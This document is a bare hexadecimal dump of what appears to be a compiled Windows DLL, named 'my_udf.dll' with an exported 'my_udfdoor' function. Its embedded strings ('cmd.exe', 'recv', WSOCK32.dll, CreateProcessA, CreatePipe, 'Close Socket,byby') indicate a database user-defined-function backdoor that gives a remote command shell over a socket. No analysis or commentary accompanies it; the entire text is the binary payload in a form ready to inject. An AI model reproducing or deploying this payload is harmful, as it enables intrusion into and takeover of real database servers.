E00250FF35746C001057FF35A86E0010FF15BC5000103BC774618305606C001010A3746C0010A1706C00108B0D746C001068C44100006A088D0480FF35A86E00108D3481FF15A85000103BC7894610742A6A046800200000680000100057FF15B85000103BC789460C7514FF761057FF35A86E0010FF159850001033C0EB17834E08FF893E897E04FF05706C00108B46108308FF8BC65F5EC3558BEC518B4D085356578B71108B410833DB85C07C05D1E043EBF78BC36A3F69C0040200005A8D8430440100008945FC89400889400483C0084A75F48BFB6A04C1E70F03790C6800100000680080000057FF15B850001085C0750883C8FFE9930000008D97007000003BFA773C8D47108348F8FF8388EC0F0000FF8D88FC0F0000C740FCF00F000089088D88FCEFFFFF894804C780E80F0000F00F000005001000008D48F03BCA76C78B45FC8D4F0C05F80100006A015F8948048941088D4A0C89480889410483649E440089BC9EC40000008A46438AC8FEC184C08B4508884E437503097804BA000000808BCBD3EAF7D22150088BC35F5E5BC9C35333DB391DD46A0010565775426810540010FF15C05000108BF83BFB74678B3518500010680454001057FFD685C0A3D46A0010745068F453001057FFD668E053001057A3D86A0010FFD6A3DC6A0010A1D86A001085C07416FFD08BD885DB740EA1DC6A001085C0740553FFD08BD8FF742418FF742418FF74241853FF15D46A00105F5E5BC333C0EBF8CCCCCCCCCCCCCCCCCC8B4C240C5785C9747A56538BD98B742414F7C6030000008B7C24107507C1E902756FEB218A064688074749742584C07429F7C60300000075EB8BD9C1E902755183E303740D8A064688074784C0742F4B75F38B4424105B5E5FC3F7C7030000007412880747490F848A000000F7C70300000075EE8BD9C1E902756C8807474B75FA5B5E8B4424085FC3891783C7044974AFBAFFFEFE7E8B0603D083F0FF33C28B1683C604A90001018174DE84D2742C84F6741EF7C20000FF00740CF7C2000000FF75C68917EB1881E2FFFF00008917EB0E81E2FF0000008917EB0433D2891783C70433C049740A33C0890783C7044975F883E30375858B4424105B5E5FC3CCCC8B54240C8B4C240485D2744733C08A442408578BF983FA04722DF7D983E10374082BD18807474975FA8BC8C1E00803C18BC8C1E01003C18BCA83E203C1E9027406F3AB85D274068807474A75FA8B4424085FC38B442404C3A1E06A001085C0740FFF742404FFD085C05974046A0158C333C0C3558BEC6AFF682854001068503F001064A100000000506489250000000083EC1C5356578965E833FF393D086B0010754657576A015B536820540010BE000100005657FF15CC50001085C07408891D086B0010EB22575753681C5400105657FF15C850001085C00F8422010000C705086B001002000000397D147E10FF7514FF7510E89E0100005959894514A1086B001083F802751DFF751CFF7518FF7514FF7510FF750CFF7508FF15C8500010E9DE00000083F8010F85D3000000397D207508A1006B00108945205757FF7514FF75108B4524F7D81BC083E0084050FF7520FF15C45000108BD8895DE43BDF0F849C000000897DFC8D041B83C00324FCE8AB0700008965E88BC48945DC834DFCFFEB136A0158C38B65E833FF897DDC834DFCFF8B5DE4397DDC746653FF75DCFF7514FF75106A01FF7520FF15C450001085C0744D575753FF75DCFF750CFF7508FF15CC5000108BF08975D83BF77432F6450D047440397D1C0F84B20000003B751C7F1EFF751CFF751853FF75DCFF750CFF7508FF15CC50001085C00F858F00000033C08D65C88B4DF064890D000000005F5E5BC9C3C745FC010000008D043683C00324FCE8F70600008965E88BDC895DE0834DFCFFEB126A0158C38B65E833FF33DB834DFCFF8B75D83BDF74B45653FF75E4FF75DCFF750CFF7508FF15CC50001085C0749C397D1C575775045757EB06FF751CFF751856536820020000FF7520FF15805000108BF03BF70F8471FFFFFF8BC6E96CFFFFFF8B5424088B44240485D2568D4AFF740D8038007408408BF14985F675F38038005E75052B442404C38BC2C3558BEC6AFF684054001068503F001064A100000000506489250000000083EC185356578965E8A10C6B001033DB3BC3753E8D45E4506A015E56682054001056FF15D450001085C074048BC6EB1D8D45E45056681C5400105653FF15D050001085C00F84CE0000006A0258A30C6B001083F80275248B451C3BC37505A1F06A0010FF7514FF7510FF750CFF750850FF15D0500010E99F00000083F8010F8594000000395D187508A1006B00108945185353FF7510FF750C8B4520F7D81BC083E0084050FF7518FF15C45000108945E03BC37463895DFC8D3C008BC783C00324FCE87A0500008965E88BF48975DC575356E84AFCFFFF83C40CEB0B6A0158C38B65E833DB33F6834DFCFF3BF37429FF75E056FF7510FF750C6A01FF7518FF15C45000103BC37410FF75145056FF7508FF15D4500010EB0233C08D65CC8B4DF064890D000000005F5E5BC9C3CCCCCCCCCC558BEC57568B750C8B4D108B7D088BC18BD103C63BFE76083BF80F8278010000F7C7030000007514C1E90283E20383F9087229F3A5FF2495683C00108BC7BA0300000083E904720C83E00303C8FF2485803B0010FF248D783C001090FF248DFC3B001090903B0010BC3B0010E03B001023D18A0688078A46018847018A4602C1E90288470283C60383C70383F90872CCF3A5FF2495683C00108D490023D18A0688078A4601C1E90288470183C60283C70283F90872A6F3A5FF2495683C00109023D18A06880746C1E9024783F908728CF3A5FF2495683C00108D49005F3C00104C3C0010443C00103C3C0010343C00102C3C0010243C00101C3C00108B448EE489448FE48B448EE889448FE88B448EEC89448FEC8B448EF089448FF08B448EF489448FF48B448EF889448FF88B448EFC89448FFC8D048D0000000003F003F8FF2495683C00108BFF783C0010803C00108C3C0010A03C00108B45085E5FC9C3908A0688078B45085E5FC9C3908A0688078A46018847018B45085E5FC9C38D49008A0688078A46018847018A46028847028B45085E5FC9C3908D7431FC8D7C39FCF7C7030000007524C1E90283E20383F908720DFDF3A5FCFF2495003E00108BFFF7D9FF248DB03D00108D49008BC7BA0300000083F904720C83E0032BC8FF2485083D0010FF248D003E001090183D0010383D0010603D00108A460323D18847034EC1E9024F83F90872B6FDF3A5FCFF2495003E00108D49008A460323D18847038A4602C1E90288470283EE0283EF0283F908728CFDF3A5FCFF2495003E0010908A460323D18847038A46028847028A4601C1E90288470183EE0383EF0383F9080F825AFFFFFFFDF3A5FCFF2495003E00108D4900B43D0010BC3D0010C43D0010CC3D0010D43D0010DC3D0010E43D0010F73D00108B448E1C89448F1C8B448E1889448F188B448E1489448F148B448E1089448F108B448E0C89448F0C8B448E0889448F088B448E0489448F048D048D0000000003F003F8FF2495003E00108BFF103E0010183E0010283E00103C3E00108B45085E5FC9C3908A46038847038B45085E5FC9C38D49008A46038847038A46028847028B45085E5FC9C3908A46038847038A46028847028A46018847018B45085E5FC9C3CCCCCC558BEC535657556A006A0068703E0010FF7508E8F00100005D5F5E5B8BE55DC38B4C2404F7410406000000B801000000740F8B4424088B5424108902B803000000C35356578B442410506AFE68783E001064FF3500000000648925000000008B4424208B58088B700C83FEFF742E3B74242474288D34768B0CB3894C240889480C837CB30400751268010100008B44B308E840000000FF54B308EBC3648F050000000083C40C5F5E5BC333C0648B0D00000000817904783E001075108B510C8B520C3951087505B801000000C35351BBB0630010EB0A5351BBB06300108B4D08894B08894304896B0C595BC20400CCCC5643323058433030558BEC83EC0853565755FC8B5D0C8B4508F74004060000000F85820000008945F88B45108945FC8D45F88943FC8B730C8B7B0883FEFF74618D0C76837C8F0400744556558D6B10FF548F045D5E8B5D0C0BC07433783C8B7B0853E8A9FEFFFF83C4048D6B105653E8DEFEFFFF83C4088D0C766A018B448F08E861FFFFFF8B048F89430CFF548F088B7B088D0C768B348FEBA1B800000000EB1CB801000000EB15558D6B106AFF53E89EFEFFFF83C4085DB8010000005D5F5E5B8BE55DC3558B4C24088B298B411C508B411850E879FEFFFF83C4085DC20400CCCCCCCCCCCCCCCC513D001000008D4C2408721481E9001000002D0010000085013D0010000073EC2BC88BC485018BE18B088B400450C3CCFF25D8500010CCCCCCCCCCCCCCCCCCCC558BEC5756538B4D100BC90F84E90000008B75088B7D0C8D05E86A001083780800754EB741B35AB6208D49008A260AE48A0774210AC0741D464738FC720638DC770202E638F8720638D8770202C638C4750D4975D733C938C40F849B000000B9FFFFFFFF0F8290000000F7D9E989000000F0FF055C6C0010833D586C0010007F046A00EB19F0FF0D5C6C00108BD96A13E8BAE1FFFFC70424010000008BCB33C033DB8BFF8A060BC08A1F74230BDB741F4647515053E8470000008BD883C404E83D00000083C404593BC375094975D533C93BC37409B9FFFFFFFF7202F7D9580BC07509F0FF0D5C6C0010EB0E8BD96A13E8BBE1FFFF83C4048BCB8BC15B5E5FC9C3558BEC51833DF06A001000535657751D8B450883F8410F8CAA00000083F85A0F8FA100000083C020E9990000008B5D08BF000100006A013BDF5E7D253935DC6600107E0B5653E8CE0100005959EB0AA1D06400108A045823C685C075048BC3EB658B15D06400108BC3C1F8080FB6C8F6444A0180740F80650A006A02884508885D0958EB0980650900885D088BC6566A008D4DFC6A0351508D45085057FF35F06A0010E86AF5FFFF83C42085C074AE3BC675060FB645FCEB0D0FB645FD0FB64DFCC1E0080BC15F5E5BC9C3CCCCCCCC8B5424048B4C2408F7C203000000753C8B023A01752E0AC074263A610175250AE4741DC1E8103A410275190AC074113A6103751083C10483C2040AE475D28BFF33C0C3901BC0D1E040C38BFFF7C20100000074148A02423A0175E9410AC074E0F7C20200000074A8668B0283C2023A0175D20AC074CA3A610175C90AE474C183C102EB8CCCCCCCCCCCCCCCCCCCCCCCCC558BEC5633C050505050505050508B550C8D49008A020AC07407420FAB0424EBF38B750883C9FF90418A060AC07407460FA3042473F28BC183C4205EC9C3CCCC558BEC5756538B4D10E3268BD98B7D088BF733C0F2AEF7D903CB8BFE8B750CF3A68A46FF33C93A47FF770474044949F7D18BC15B5E5FC9C3CCCCCCCCCCCCCCCC558BEC5633C050505050505050508B550C8D49008A020AC07407420FAB0424EBF38B75088A060AC0740A460FA3042473F38D46FF83C4205EC9C3558BEC518B45088D480181F900010000770C8B0DD06400100FB70441EB528BC8568B35D0640010C1F9080FB6D1F6445601805E740E8065FE00884DFC8845FD6A02EB098065FD008845FC6A01588D4D0A6A016A006A0051508D45FC506A01E8E5F5FFFF83C41C85C07502C9C30FB7450A23450CC9C3CC558BEC5756538B750C8B7D088D05E86A001083780800753BB0FF8BFF0AC0742E8A06468A274738C474F22C413C1A1AC980E12002C1044186E02C413C1A1AC980E12002C1044138E074D21AC01CFF0FBEC0EB78F0FF055C6C0010833D586C0010007F046A00EB15F0FF0D5C6C00106A13E84ADEFFFFC7042401000000B8FF00000033DB900AC074278A06468A1F4738D874F25053E8D8FCFFFF8BD883C404E8CEFCFFFF83C40438C374DA1BC083D8FF8BD8580BC07509F0FF0D5C6C0010EB0A6A13E85ADEFFFF83C4048BC35B5E5FC9C353568B4424180BC075188B4C24148B44241033D2F7F18BD88B44240CF7F18BD3EB418BC88B5C24148B5424108B44240CD1E9D1DBD1EAD1D80BC975F4F7F38BF0F76424188BC88B442414F7E603D1720E3B542410770872073B44240C76014E33D28BC65E5BC21000CCCCCCCCCCCCCCCC538B4424140BC075188B4C24108B44240C33D2F7F18B442408F7F18BC233D2EB508BC88B5C24108B54240C8B442408D1E9D1DBD1EAD1D80BC975F4F7F38BC8F764241491F764241003D1720E3B54240C7708720E3B44240876082B4424101B5424142B4424081B54240CF7DAF7D883DA005BC21000CCCCCCCCCCCCCCCCCCCCCC8B4424088B4C24100BC88B4C240C75098B442404F7E1C2100053F7E18BD88B442408F764241403D88B442408F7E103D35BC2100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000EA57000000000000045700001457000020570000325700004057000052570000FC5600007C57000090570000A6570000BA570000C657000066570000F05600002058000032580000405800004E580000625800007858000086580000925800009C580000AA580000BC580000CC580000DA580000EC580000045900001E590000385900004E59000066590000805900008E5900009C590000AA590000B6590000D2590000EA590000025A00000E5A00001A5A0000245A0000305A0000405A00004E5A00005E5A0000745A0000845A0000945A0000A65A0000B85A0000000000001300008003000080150000800000000072756E74696D65206572726F722000000D0A0000544C4F5353206572726F720D0A00000053494E47206572726F720D0A00000000444F4D41494E206572726F720D0A000052363032380D0A2D20756E61626C6520746F20696E697469616C697A6520686561700D0A0000000052363032370D0A2D206E6F7420656E6F75676820737061636520666F72206C6F77696F20696E697469616C697A6174696F6E0D0A0000000052363032360D0A2D206E6F7420656E6F75676820737061636520666F7220737464696F20696E697469616C697A6174696F6E0D0A0000000052363032350D0A2D2070757265207669727475616C2066756E6374696F6E2063616C6C0D0A00000052363032340D0A2D206E6F7420656E6F75676820737061636520666F72205F6F6E657869742F617465786974207461626C650D0A0000000052363031390D0A2D20756E61626C6520746F206F70656E20636F6E736F6C65206465766963650D0A0000000052363031380D0A2D20756E65787065637465642068656170206572726F720D0A0000000052363031370D0A2D20756E6578706563746564206D756C7469746872656164206C6F636B206572726F720D0A0000000052363031360D0A2D206E6F7420656E6F75676820737061636520666F722074687265616420646174610D0A000D0A61626E6F726D616C2070726F6772616D207465726D696E6174696F6E0D0A0000000052363030390D0A2D206E6F7420656E6F75676820737061636520666F7220656E7669726F6E6D656E740D0A0052363030380D0A2D206E6F7420656E6F75676820737061636520666F7220617267756D656E74730D0A00000052363030320D0A2D20666C6F6174696E6720706F696E74206E6F74206C6F616465640D0A000000004D6963726F736F66742056697375616C20432B2B2052756E74696D65204C696272617279000000000A0A000052756E74696D65204572726F72210A0A50726F6772616D3A200000002E2E2E003C70726F6772616D206E616D6520756E6B6E6F776E3E00004765744C617374416374697665506F707570000047657441637469766557696E646F77004D657373616765426F7841007573657233322E646C6C0000000000000000000000000000FFFFFFFF9338001097380010FFFFFFFF473900104B390010FFFFFFFFCB3A0010CF3A0010483A6D6D3A737300646464642C204D4D4D4D2064642C2079797979004D2F642F79790000504D0000414D0000446563656D626572000000004E6F76656D626572000000004F63746F6265720053657074656D62657200000041756775737400004A756C79000000004A756E6500000000417072696C0000004D617263680000004665627275617279000000004A616E7561727900446563004E6F76004F63740053657000417567004A756C004A756E004D617900417072004D617200466562004A616E0053617475726461790000000046726964617900005468757273646179000000005765646E657364617900000054756573646179004D6F6E646179000053756E646179000053617400467269005468750057656400547565004D6F6E0053756E0053756E4D6F6E5475655765645468754672695361740000004A616E4665624D61724170724D61794A756E4A756C4175675365704F63744E6F7644656300000000085600000000000000000000DC570000085000000056000000000000000000000658000000500000E0560000000000000000000014580000E05000000000000000000000000000000000000000000000EA57000000000000045700001457000020570000325700004057000052570000FC5600007C57000090570000A6570000BA570000C657000066570000F05600002058000032580000405800004E580000625800007858000086580000925800009C580000AA580000BC580000CC580000DA580000EC580000045900001E590000385900004E59000066590000805900008E5900009C590000AA590000B6590000D2590000EA590000025A00000E5A00001A5A0000245A0000305A0000405A00004E5A00005E5A0000745A0000845A0000945A0000A65A0000B85A000000000000130000800300008015000080000000000E03577269746546696C6500C302536C656570001C025065656B4E616D656450697065003D025265616446696C650000470043726561746550726F636573734100004600437265617465506970650000530147657450726F634164647265737300003A014765744D6F64756C6548616E646C6541000038014765744D6F64756C6546696C654E616D65410000090147657443757272656E7450726F63657373001703577269746550726F636573734D656D6F72790000F5025669727475616C50726F74656374457800002C036C737472636D706941000A0147657443757272656E7450726F636573734964004B45524E454C33322E646C6C00000E00496D6167654469726563746F7279456E747279546F4461746100494D414745484C502E646C6C00005753325F33322E646C6C0000DA00476574436F6D6D616E644C696E6541008E0147657456657273696F6E00008C004578697450726F6365737300CB025465726D696E61746550726F6365737300000C0147657443757272656E7454687265616449640000D302546C7353657456616C756500D002546C73416C6C6F630000D102546C734672656500D202546C7347657456616C756500980253657448616E646C65436F756E740000680147657453746448616E646C650000280147657446696C655479706500660147657453746172747570496E666F41005A0044656C657465437269746963616C53656374696F6E00C10046726565456E7669726F6E6D656E74537472696E67734100C20046726565456E7669726F6E6D656E74537472696E6773570001035769646543686172546F4D756C746942797465001901476574456E7669726F6E6D656E74537472696E6773001B01476574456E7669726F6E6D656E74537472696E6773570000B8014865617044657374726F7900B601486561704372656174650000F1025669727475616C4672656500BA0148656170467265650000C501496E697469616C697A65437269746963616C53656374696F6E006F00456E746572437269746963616C53656374696F6E0000DE014C65617665437269746963616C53656374696F6E0000B40148656170416C6C6F6300CF004765744350496E666F00C900476574414350000046014765744F454D43500000EE025669727475616C416C6C6F630000BD01486561705265416C6C6F6300DF014C6F61644C69627261727941000002024D756C746942797465546F576964654368617200DC014C434D6170537472696E67410000DD014C434D6170537472696E675700006901476574537472696E67547970654100006C01476574537472696E6754797065570000570252746C556E77696E640000000000000000000000000000000000DEB1884200000000025B0000010000000100000001000000F85A0000FC5A0000005B0000001000000D5B000000006D795F7564662E646C6C006D795F756466646F6F72000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E3290010000000000000000000000000000000000000000000000000000000000000000080EE36005E5F5E00436C6F736520536F636B65742C627962790A00006578697400000000636D642E6578650070696E6700000000726563760000000057534F434B33322E646C6C00000000000000000089170010000000000000000000000000FFFFFFFF00000000FFFFFFFF000A000000000000000000000000000000000000000000000000000000000000100000000200000054530010080000002853001009000000FC5200100A000000D852001010000000AC520010110000007C5200101200000058520010130000002C52001018000000F451001019000000CC5100101A000000945100101B0000005C5100101C00000034510010780000002451001079000000145100107A00000004510010FC00000000510010FF000000F050001000000000706A001000000000000000000000000000000000000000000000000000000000A06A0010000000000000000000000000B86A0010000000000000000000000000886A0010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050000C00B000000000000001D0000C00400000000000000960000C004000000000000008D0000C008000000000000008E0000C008000000000000008F0000C00800000000000000900000C00800000000000000910000C00800000000000000920000C00800000000000000930000C008000000000000000300000007000000780000000A00000000000000000000000102040800000000A4030000608279822100000000000000A6DF000000000000A1A5000000000000819FE0FC00000000407E80FC00000000A8030000C1A3DAA320000000000000000000000000000000000000000000000081FE00000000000040FE000000000000B5030000C1A3DAA320000000000000000000000000000000000000000000000081FE00000000000041FE000000000000B6030000CFA2E4A21A00E5A2E8A25B000000000000000000000000000000000081FE000000000000407EA1FE000000005105000051DA5EDA20005FDA6ADA32000000000000000000000000000000000081D3D8DEE0F90000317E81FE000000000000000000000000F8030000000000000000000000000000200593190000000000000000000000004300000043000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000DA640010DA640010000020002000200020002000200020002000200028002800280028002800200020002000200020002000200020002000200020002000200020002000200020002000480010001000100010001000100010001000100010001000100010001000100084008400840084008400840084008400840084001000100010001000100010001000810081008100810081008100010001000100010001000100010001000100010001000100010001000100010001000100010001001000100010001000100010008200820082008200820082000200020002000200020002000200020002000200020002000200020002000200020002000200020010001000100010002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000002E00000001000000F0660010000000006C5500106855001064550010605500105C55001058550010545500104C550010445500103C55001030550010245500101C550010105500100C550010085500100455001000550010FC540010F8540010F4540010F0540010EC540010E8540010E4540010E0540010D8540010CC540010C4540010BC540010FC540010B4540010AC540010A454001098540010905400108454001078540010745400107054001068540010545400104C540010000000002E00000000000000A0670010886B0010886B0010886B0010886B0010886B0010886B0010886B0010886B0010886B00107F7F7F7F7F7F7F7FA8670010000000008070000001000000F0F1FFFF5053540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050445400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000EC6700102C68001000000000FFFFFFFF000000000000000000000000FFFFFFFF0000000000000000000000000000000000000000FFFFFFFF1E0000003B0000005A0000007800000097000000B5000000D4000000F300000011010000300100004E0100006D010000FFFFFFFF1E0000003A000000590000007700000096000000B4000000D3000000F2000000100100002F0100004D0100006C0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000002001000006301B3067307330BE30CB30EC303031A631BA31D531F831063221322932333245324C32533289328E32A432B532EB32F332FF3209331233203334333A334D335C33693387339F33C33328344B34EF34F63405350D3518351E3524352E3546354B3555356F357D3585358B35CE35E0353C365736663682365D3768376D3777377C37B437C037C737D737DD37E437EE3707380F381438203825384238483882388A38A438AA38BB38D438E038E638F338003919397B3993399939C339C939EB39FF39313A383A4D3A7F3A893AAA3ABF3AE33A0D3B1B3B4C3B523B5F3B803BA53BB43BC33BF53B053C483C543C5E3C723C803C8D3C923C983CF33CFA3C423D873D6A3E833EB83EC03EDA3EE63EF63E353F853F983FD63FFA3F002000006801000001301230183028302F3036303E30653071307B3083308B3091309F30AE30C030E630F33001310C311F31463155319731AB31C931D531F13106321C3223322D3233323B3243324B3257325C32683270327832803296329E32A632AE32B632C932D132FE32193329332F335E3386338C339833FE3304340C344F3489348F342836443651365E3671367A368636B836CA36D936FA36003721372B3736373B3743375A376F3775377D3785379037BE37CA37D437DF37E937F337F9373C3846384B38503855386E387438E338E938073918392B3940395E396C3979398939AA39B639C839D639E539F639383A503A573A5F3A643A683A6C3A953ABB3AD53ADC3AE03AE43AE83AEC3AF03AF43AF83A423B483B4C3B503B543BBA3BC53BE03BE73BEC3BF03BF43B113C3B3C6D3C743C783C7C3C803C843C883C8C3C903CDA3CE03CE43CE83CEC3C3E3D443D4B3D543D5B3D633D693D743D7C3DCB3FD93FDF3FF93FFE3F003000001C0100000D30133023302E30403053305E30643069306F307C3099309F30AA30B030BA30C030D030D6301A31C031AD33B833C033D333D933EF33F633FC3306340C3411341734273430344A345B3461347434D63483358C3592359E35A335AD35B435BC35C235C935CE35DF35FB35693789378E37AD37BA37C737D137DB37E337F1370F382C3844386438BC38D23805396D399239D839DD39F9390C3A133A253A2D3A3D3A4E3A613A793A993AEF3A013B583B703B773B7F3B843B883B8C3BB53BDB3BF53BFC3B003C043C083C0C3C103C143C183C623C683C6C3C703C743CDA3CE53C003D073D0C3D103D143D313D5B3D8D3D943D983D9C3DA03DA43DA83DAC3DB03DFA3D003E043E083E0C3E643EA53E0E3F283F313F0000004000002C00000062308930E430EA30F83056317731AF31C131D43110329E33AD330E3456345C346A34B93400500000140000002C34303438343C344434483400600000B00000000C308030C430CC30D430DC30E430EC30F430FC3004310C3114311C3124312C3134313C3144314C315431743184319431D034D434E836F036F436F836FC360037043708370C371037143718371C372037243728372C373037343738373C374037443748374C375037543758375C376037643768376C377037743778377C378037843788378C37903794379837A837AC37B037B437B837BC37C037C437C837CC37D8376C387038000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000